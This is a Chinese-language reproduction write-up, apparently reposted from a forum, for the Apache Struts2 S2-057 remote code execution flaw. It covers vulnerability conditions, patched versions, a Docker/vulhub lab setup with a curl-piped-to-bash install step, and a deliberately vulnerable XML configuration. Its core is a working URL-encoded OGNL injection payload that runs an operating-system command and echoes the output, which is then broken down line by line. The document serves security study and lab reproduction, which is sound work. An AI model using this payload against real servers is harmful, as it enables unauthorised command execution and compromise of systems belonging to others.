St2-057 复现
漏洞信息
定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。
url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。
解决方案
升级至版本2.3.35或2.5.17。这两个版本仅仅只是更新了安全补丁,不存在兼容性问题。
漏洞详情
由于漏洞作者已经发布 就不再复制粘贴 请看链接
原作者 英语 除漏洞详情还介绍了他是如何发现这些漏洞的
漏洞细节中文翻译
复现
搭建struts2
使用docker-compose
和vulhub
搭建
如果没有docker
curl https://get.docker.com/ | bash
pip install docker-compose
克隆vulhub并启动
git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-048
docker-compose up -d
docker ps
可以看到
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b6eefdb89aad vulhub/struts2:2.5.12-rest-showcase "catalina.sh run" 2 minutes ago Up 2 minutes 0.0.0.0:8080->8080/tcp s2-052_struts2_1
搭建漏洞环境
进入docker
docker exec -i -t <你上面显示的CONTAINER ID > /bin/bash
运行
apt-get update -y &&
mkdir /usr/local/tomcat/webapps/test &&
wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip &&
apt-get install unzip -y &&
cp struts-2.5.16/apps/struts2-showcase.war /usr/local/tomcat/webapps/
修改/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
和/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml
文件如下
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
重启服务
cd /usr/local/tomcat/bin/
./shutdown.sh
# 这个时候你应该退回本机shell了
docker-compose up -d
复现
访问127.0.0.1:8080/struts2-showcase/${(111+111)}/actionChain1.action
会显示到了127.0.0.1:8080/struts2-showcase/222/actionChain1.action
将${(111+111)}替换成expexp (由jas502n大佬提供)
http://127.0.0.1:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action
拆分
${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#a[email protected].Runtime@getRuntime().exec('calc').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#jas502n.println(#d),
#jas502n.close())
}
感谢
https://www.anquanke.com/post/id/157397
https://github.com/jas502n/St2-057
https://lgtm.com/blog/apache_struts_CVE-2018-11776
转载:https://bbs.ichunqiu.com/thread-44733-1-1.html